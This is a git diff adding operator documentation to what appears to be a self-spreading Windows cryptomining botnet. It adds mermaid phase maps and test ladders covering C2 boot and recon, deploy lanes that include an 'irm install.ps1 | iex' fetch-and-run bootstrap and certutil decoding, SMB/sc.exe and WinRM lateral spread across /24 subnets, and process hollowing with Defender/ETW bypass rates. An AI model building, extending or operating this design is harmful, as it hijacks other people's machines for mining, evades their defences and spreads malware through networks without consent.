diff --git a/README.md b/README.md index 724f10c..46c2a7f 100644 --- a/README.md +++ b/README.md @@ -546,6 +546,8 @@ crypto miner/ ├── android/ ← APK fleet node (see android/README.md) ├── tests/README.md ← test phases, LOTL glossary, E2E env vars ├── docs/E2E_VALIDATION.md ← secure payload validation playbook +├── docs/VALIDATION_LADDER.md ← L0–L8 operator validation ladder (gates + honest gaps) +├── docs/WINDOWS_MINING_PHASES.md ← Windows agent lifecycle phase maps (mermaid) ├── PROBLEMS.md ← known issues (severity-ranked) └── README.md ← you are here ``` @@ -672,6 +674,8 @@ Full Windows payload tests (spread, screenshot, GPU, persistence) need a **dispo Playbook (tier matrix, Crucible checklist, log paths, snapshot teardown): [`docs/E2E_VALIDATION.md`](docs/E2E_VALIDATION.md). +Operator ladder (post-landing gates L0–L8): [docs/VALIDATION_LADDER.md](docs/VALIDATION_LADDER.md). Windows mining phase maps: [docs/WINDOWS_MINING_PHASES.md](docs/WINDOWS_MINING_PHASES.md). + ### Dashboard dev server ```bat diff --git a/docs/VALIDATION_LADDER.md b/docs/VALIDATION_LADDER.md new file mode 100644 index 0000000..d217524 --- /dev/null +++ b/docs/VALIDATION_LADDER.md @@ -0,0 +1,105 @@ +# Validation ladder (L0-L8) + +Operator guide for **what to run after code lands** - from zero-dependency mining smoke through live fleet work. Automated gates live in [`tests/README.md`](../tests/README.md); secure payload steps in [`docs/E2E_VALIDATION.md`](E2E_VALIDATION.md); Windows lifecycle phases in [`docs/WINDOWS_MINING_PHASES.md`](WINDOWS_MINING_PHASES.md). + +**Mindset:** CI proves contracts and mocks; it does not prove Defender, domain GPO, or your AWS IAM. Climb the ladder until the change you shipped is covered at the lowest honest rung, then stop. [`PROBLEMS.md`](../PROBLEMS.md) lists what automation will never close. + +--- + +## Ladder overview + +```mermaid +flowchart TB + L0["L0 - Mining only
mine-validate, no C2"] + L1["L1 - Fast unit slice
test-suite -SkipE2E -SkipBuild"] + L2["L2 - Full unit gate
test-suite -SkipE2E"] + L3["L3 - Dashboard E2E
test-suite phases 1-8"] + L4["L4 - Feature slices
-Recon -S3Swarm -P2 ..."] + L5["L5 - Docker mining proof
ci-docker-mining"] + L6["L6 - Isolated forge + VM
e2e-validate Tier 3"] + L7["L7 - Live spread / recon
owned lab hosts"] + L8["L8 - Cloud + IAM
operator AWS account"] + + L0 --> L1 --> L2 --> L3 + L2 --> L4 + L2 --> L5 + L5 --> L6 + L6 --> L7 + L7 --> L8 +``` + +| Rung | When | Command / action | Proves | Does not prove | +|------|------|------------------|--------|----------------| +| **L0** | RandomX / pool worker change | `cd agent; go run ./cmd/mine-validate -seconds 20 -threads 2` | CPU mining engine, pool login | C2, forge, spread, persistence | +| **L1** | Quick post-edit smoke | `.\scripts\test-suite.ps1 -SkipE2E -SkipBuild` | Go server+agent + Vitest (phases 1-4) | Production builds, Playwright | +| **L2** | Default post-landing gate | `.\scripts\test-suite.ps1 -SkipE2E` | Phases 1-7b, compile checks | Live browser E2E on `:18989` | +| **L3** | UI / WS / routing change | `.\scripts\test-suite.ps1` | Full 8 phases incl. Playwright | Real Windows payload, live pool fleet | +| **L4** | Single feature after parallel agents | `.\scripts\test-suite.ps1 -` (see table below) | Targeted Go + Vitest (+ E2E when not `-SkipE2E`) | Cross-feature integration on real hosts | +| **L5** | Mining + C2 regression in isolation | `.\scripts\ci-docker-mining.ps1` | Server healthy, Linux agent online, H/s > 0 | Windows-only tiers, GPU, spread | +| **L6** | Forge / persistence / Crucible on Windows | `.\scripts\e2e-validate.ps1` + disposable Hyper-V VM | Full Windows agent on owned lab VM | Production wallet, internet-wide spread | +| **L7** | Spread lanes, Deploy Recon, P2 | Manual lab: WinRM/GPO/BITS, SSRF probe paste, port scan to owned targets | Behavior on machines you own | CI coverage of third-party networks | +| **L8** | S3 swarm, SSM, Fargate, fan-out | Operator AWS creds + IAM in your account | Real PutObject, SendCommand, ECS | Anything in shared repo CI | + +Counts (refresh when drift): Go server **1007**, agent **680**, Vitest **867**, Playwright **32** - see [`tests/README.md`](../tests/README.md). + +--- + +## Feature gates (L4 slices) + +Use one slice when a parallel agent landing touched only that surface. Each exits after its phase unless noted. + +| Feature | Command | +|---------|---------| +| **Full gate** | `.\scripts\test-suite.ps1` | +| **Quick verify** | `.\scripts\test-suite.ps1 -SkipE2E` | +| **Fast slice** | `.\scripts\test-suite.ps1 -SkipE2E -SkipBuild` | +| **P2 mining/spread** | `.\scripts\test-suite.ps1 -P2` | +| **Fleet recon** | `.\scripts\test-suite.ps1 -ReconOnly` | +| **Deploy Recon** | `.\scripts\test-suite.ps1 -Recon` | +| **Subnet recon** | `.\scripts\test-suite.ps1 -SubnetRecon` | +| **S3Swarm** | `.\scripts\test-suite.ps1 -S3Swarm` | +| **CloudMap** | `.\scripts\test-suite.ps1 -CloudMap` | +| **Fargate** | `.\scripts\test-suite.ps1 -Fargate` | +| **PolicyFanout** | `.\scripts\test-suite.ps1 -PolicyFanout` | +| **SSM** | `.\scripts\test-suite.ps1 -SSM` | +| **Seer** | `.\scripts\test-suite.ps1 -Seer` | +| **Oath** | `.\scripts\test-suite.ps1 -Oath` | +| **Contingency** | `.\scripts\test-suite.ps1 -Contingency` | +| **CloudVenue** | `.\scripts\test-suite.ps1 -CloudVenue` | + +With server already up: `.\scripts\smoke-test.ps1 -BaseUrl http://127.0.0.1:8989` (REST matrix B-01-B-10). + +--- + +## Honest gaps (from PROBLEMS.md) + +Automation closes regressions; these stay **operator or architecture** scope: + +| Area | Honest limit | +|------|----------------| +| **By design** | `bof_execute` disabled; process hollowing ~50% ETW/Defender failure; non-Windows cloudflared stub; mesh without `-tags p2p`; Linux/macOS GPU RVN uses Windows miner binaries only. | +| **Scale** | Subnet derived at query time; scan caps (128 hosts / spread sem 16); SQLite single-writer; WS `init` full fleet blob; 3D map capped at 200 nodes. | +| **Container mining** | AV still sees Docker; GPU-in-container on Windows is operator-dependent; worker image build not auto-forged. | +| **Deferred architecture** | `tunnel_stream`; Path Tracer RAM sessions; NAT without STUN; monolithic WS context; no CI HTTP forge without `LIVE_FORGE=1`. | +| **AWS cloud** | S3/CloudFront/SSM/Fargate/EventBridge need **your** IAM; CI uses mocks. | +| **Manual / live** | Live S3 signed magnets; SSM SendCommand; Fargate RunTask; fan-out Lambda; Cloud Map `route_via` server wiring; live P2 spread; Deploy Recon port scan/crawl from **dashboard host**; SSRF probe is manual paste. | + +Full tables: [`PROBLEMS.md`](../PROBLEMS.md). Test gap pointers: [`tests/README.md`](../tests/README.md) (P2 spread lanes, gaps section). + +--- + +## Operator checklist after landing + +1. **L2** `.\scripts\test-suite.ps1 -SkipE2E` from repo root. +2. If the change touched one feature row above, add **L4** slice. +3. If forge/agent Windows behavior changed, plan **L6** VM snapshot test (wallet + `data-e2e\` only). +4. If spread/recon/AWS changed, read PROBLEMS **Manual / live** before claiming production-ready. +5. Update test counts in `tests/README.md` / `PROBLEMS.md` only when `go test -list` / Vitest / Playwright totals drift. + +--- + +## Related docs + +- [`docs/E2E_VALIDATION.md`](E2E_VALIDATION.md) - Tier 0-3 secure payload matrix, VM topology, Crucible checklist +- [`docs/WINDOWS_MINING_PHASES.md`](WINDOWS_MINING_PHASES.md) - Windows boot -> recon -> deploy -> mining -> spread phase maps +- [`tests/README.md`](../tests/README.md) - phase map, LOTL glossary, regression tables diff --git a/docs/WINDOWS_MINING_PHASES.md b/docs/WINDOWS_MINING_PHASES.md new file mode 100644 index 0000000..f2f84f9 --- /dev/null +++ b/docs/WINDOWS_MINING_PHASES.md @@ -0,0 +1,241 @@ +# Windows mining phases + +Operator reference for the **Windows agent lifecycle**: what runs automatically, in what order, and what requires deck action. Source of truth: `agent/client/`, `agent/miner/`, `agent/deploy/`, `server/internal/miningsurgery/`. + +Related: [LOTL triple onion (README)](../README.md#lotl-triple-onion-architecture) · [Spread playbook](/docs/SPREAD_TECHNIQUES.html) · [LOTL glossary](../tests/README.md#lotl-vector-glossary) · [PROBLEMS.md](../PROBLEMS.md) + +## Legend + +| Symbol | Meaning | +|--------|---------| +| **AUTO** | Agent runs without operator action (may still need forge flags or Calibrate policy) | +| **OP** | Operator triggers from Forge, Crucible, Calibrate, or Emberwake export | +| **GATE** | Automatic check that can defer or skip a phase | + +--- + +## Main flowchart — phases on Windows (in order) + +```mermaid +flowchart TB + subgraph boot["0 · Agent boot — AUTO"] + start[Run: pool + miningChain runner] + role{Seeder role?} + defer{WantsDeferMining?} + waitDiag[startMiningWhenReady
C2 + diagnostics ≤120s] + onionStart[miningChain.Start] + start --> role + role -->|yes| seeder[StartSeederStaging only
no mining] + role -->|no| defer + defer -->|spread/GPO/Intune install| waitDiag + defer -->|normal forge| onionStart + waitDiag --> onionStart + end + + subgraph recon["1 · Recon phase — AUTO"] + kev[kev_scan] + vr[vuln_recon] + sp[service_probe] + lp[listen_ports] + kev --> vr --> sp --> lp + end + + subgraph gates["2 · Policy gates — GATE"] + pf{patch_first +
critical CVE?} + hr{skip_mining_on_high_risk?} + iso{mine_isolated_tier?} + pf -->|yes| skipBoth[Skip deploy + mining] + pf -->|no| hr + hr -->|risk ≥ threshold| skipMine[Skip mining only] + hr -->|ok| deployGo[Continue deploy] + iso -.->|prefer container/WSL| miningIso[Isolated tier order] + end + + subgraph deploy["3 · Deploy lanes — AUTO, first OK wins"] + dj[discover_and_join] + d1[docker] + d2[wsl] + d3[powershell] + d4[dotnet] + d5[bits_curl] + d6[do_peer / wsus_cache_peer] + d7[dns_txt / webrtc_mesh] + d8[smb] + d9[winrm] + dj --> d1 --> d2 --> d3 --> d4 --> d5 --> d6 --> d7 --> d8 --> d9 + end + + subgraph mining["4 · Mining runtime — AUTO"] + probes[webview2_probe] + tierChain[LOTL tier TryChain
docker_load → container → wsl →
ps_inmemory → dotnet → cpu_inprocess] + fallback[Fallback chain TryChain
+ GPU parallel + stratum_direct] + winTiers[Windows tiers
wmi · scheduled_task · gpu_compute] + monitor[Chain monitor
30s cooldown re-pass] + probes --> tierChain --> fallback --> winTiers --> monitor + end + + subgraph postAuth["5 · Post-auth spread — AUTO after WS auth"] + authOK[Fleet secret accepted] + ebb{Earn-before-burn gate
stable H/s + chain OK?} + smb[SMB/SCM autospread /24] + wrm[WinRM encoded bootstrap] + lotlBg[LOTL onion background chain
2 min stagger] + authOK --> ebb + ebb -->|no| deferSpread[Defer SMB/WinRM] + ebb -->|yes| smb + smb --> wrm + authOK --> lotlBg + end + + subgraph recover["6 · Recovery layers"] + surgery["Mining self-surgery — AUTO
when Fleet AI Control on"] + contingency["Contingency tree — AUTO
when contingency policy on"] + opSpread["spread_now / stage_fetch / templates — OP"] + surgery --> contingency + end + + onionStart --> recon + recon --> pf + deployGo --> deploy + skipMine --> deploy + deploy -->|all fail or one OK| mining + skipBoth --> endNode([Idle / telemetry only]) + mining --> postAuth + monitor -->|interrupt / low H/s| surgery + monitor -->|chain exhausted| contingency + deferSpread -.->|operator spread_now| opSpread +``` + +### Phase summary + +| # | Phase | Trigger | Stops when | +|---|-------|---------|------------| +| 0 | Boot + diagnostics | AUTO on process start | Seeder role, `mining_disabled`, or diagnostics timeout | +| 1 | Recon | AUTO inside triple onion | All recon tiers attempted | +| 2 | Policy gates | AUTO from recon + Calibrate `triple_onion_policy` | `patch_first` or high-risk skip | +| 3 | Deploy lanes | AUTO, sequential | First lane succeeds, or all fail → still enters mining | +| 4 | Mining runtime | AUTO after deploy (or gate bypass) | Active tier + monitor loop | +| 5 | Post-auth spread | AUTO after first WS auth | Earn-before-burn gate, subnet immune pause, or sweep cap | +| 6 | Recovery | AUTO (AI Control / contingency) or OP (Crucible) | Plan applied or hospice | + +--- + +## Spread / deploy lanes vs mining runtime + +Deploy lanes **stage or lateral-install** workers; mining runtime **hashes on the current host**. They share tier names but serve different goals. + +```mermaid +flowchart LR + subgraph triple["Triple onion deploy — AUTO at connect"] + direction TB + T1[discover_and_join] + T2[docker · wsl · powershell · dotnet] + T3[bits_curl · peer caches · dns_txt · webrtc] + T4[smb · winrm] + T1 --> T2 --> T3 --> T4 + end + + subgraph parallel["Parallel spread — AUTO post-auth"] + direction TB + A1[Autospread timer
10 min then /4h] + A2[SMB UNC + sc.exe /24] + A3[WinRM PS1 bootstrap
when winrm_spread] + A4[LOTL onion goroutine
forge tier order] + A1 --> A2 --> A3 + A4 + end + + subgraph runtime["Mining runtime — AUTO same host"] + direction TB + M1[Environment probes + AV skip] + M2[Primary: docker_load → container → wsl → inprocess] + M3[Parallel GPU subprocess / gpu_compute] + M4[Stratum overlay if C2 jobless 30s] + M1 --> M2 --> M3 --> M4 + end + + subgraph op["Operator lanes — OP"] + direction TB + O1[Crucible spread_now] + O2[WinRM / SMB / GPO templates] + O3[stage_fetch manifest] + O4[Court spread_retry_lane] + end + + triple -->|success = join_lane only| runtime + parallel -->|earn-before-burn GATE| parallel + op --> parallel + runtime -->|hashrate_gate telemetry| parallel +``` + +### Lane cheat sheet (Windows-focused) + +| Lane | Deploy / spread | Mining runtime equivalent | +|------|-----------------|---------------------------| +| `powershell` | `irm install.ps1 \| iex` bootstrap | `ps_inmemory` tier | +| `dotnet` | `dotnet tool run` staging | `dotnet` tier | +| `bits_curl` | BITS/curl + certutil decode | Staging only (Crucible `stage_fetch`) | +| `smb` | UNC copy + remote `sc.exe` | Autospread `/24` sweep | +| `winrm` | PS remoting 5985/5986 | Autospread + spread templates | +| `docker` / `wsl` | Container/WSL join | `docker_load` / `container` / `wsl` tiers | + +--- + +## Earn-before-burn + +**AUTO gate** — Calibrate `server.hashrate_gate_spread_min` + `server.hashrate_gate_hps` push `spread_policy` on auth. + +1. Agent mines until hashrate stays above threshold for N minutes. +2. Mining chain must not be exhausted. +3. Only then: SMB/WinRM autospread sweeps and `RunSpreadOnce` proceed. + +Triple-onion deploy lanes and LOTL background onion are **not** blocked by this gate (spread-only vs burn-first policy). + +--- + +## Mining self-surgery + +**AUTO when Fleet AI Control enabled** — server observes `stats_batch`, queues `mining_self_surgery` on next auth/policy push. + +| Trigger | Actions | +|---------|---------| +| `mining_interrupt` | Container restart, fallback reorder, GPU swap, RandomX restart | +| `low_hashrate` | Idle threshold tune, method-specific restart | + +Contingency branch `self_surgery` on-agent applies skip/force method params from server court/AI. + +--- + +## Contingency miner tree + +**AUTO when `contingency_policy.enabled`** — default branch order: + +`inprocess` → `container` → `gpu_subprocess` → `idle_tune` → `self_surgery` + +Server `ContingencyOrchestrator` (Fleet AI Control) observes `onion_miner_log` hops and may push `contingency_branch_params` (persona, reorder, skip_methods). Policy snapshot hospice list can retire strains. + +--- + +## Policy inputs (Calibrate → agent) + +| Policy JSON | Affects | +|-------------|---------| +| `triple_onion_policy` | Recon order, deploy lanes, patch_first, high-risk skip | +| `mining_tier_policy` | Mining tier order / skip / force | +| `spread_policy` | Autospread, WinRM, hashrate gate, subnet recon | +| `contingency_policy` | Contingency tree + personas | +| Policy snapshot URL | Hospice strains, vaccination lane hints | + +--- + +## Honest limits (Windows) + +From [`PROBLEMS.md`](../PROBLEMS.md) — not bugs; operator scope: + +- **AV** — Containers are not invisible; Defender still sees `docker.exe`, image pulls, and filesystem scans. In-process RandomX avoids a standalone CPU miner exe but is not undetectable. +- **GPU in container** — Windows Docker Desktop GPU passthrough is operator-dependent; host subprocess GPU remains the fallback. +- **Spread lanes** — Full WinRM/GPO/BITS paths are Windows-focused; live P2 spread (real WinRM/GPO on remote hosts) is **manual / live operator** work, not fully automated in CI. +- **Process hollowing** — Relocation done; Defender/ETW bypass ~50% failure rate (`hollow_windows.go`). +- **Contingency LLM** — Live court LLM on every exhaust tick is not automated; CI uses deterministic persona branches. +- **Policy snapshot / AWS lanes** — S3, SSM, Fargate, EventBridge fan-out require operator IAM and deployment in your account. +- **Subnet scale** — Per-agent scan capped at 128 hosts; spread concurrency sem=16; fleet discovery is incremental not full /16. diff --git a/tests/README.md b/tests/README.md index f2c0cf8..2564636 100644 --- a/tests/README.md +++ b/tests/README.md @@ -4,6 +4,9 @@ ## Master validation (operator commands) +**Beyond unit tests:** the [validation ladder (L0–L8)](../docs/VALIDATION_LADDER.md) maps each rung to est-suite.ps1 slices, Docker/VM payload steps, and honest gaps from [PROBLEMS.md](../PROBLEMS.md). Use it after parallel agent landings when you need the lowest honest gate, not another full regression table. + + PROBLEMS.md `Test gaps / noise` defers here — use the tables below for P1, fleet evolution, and P2 coverage.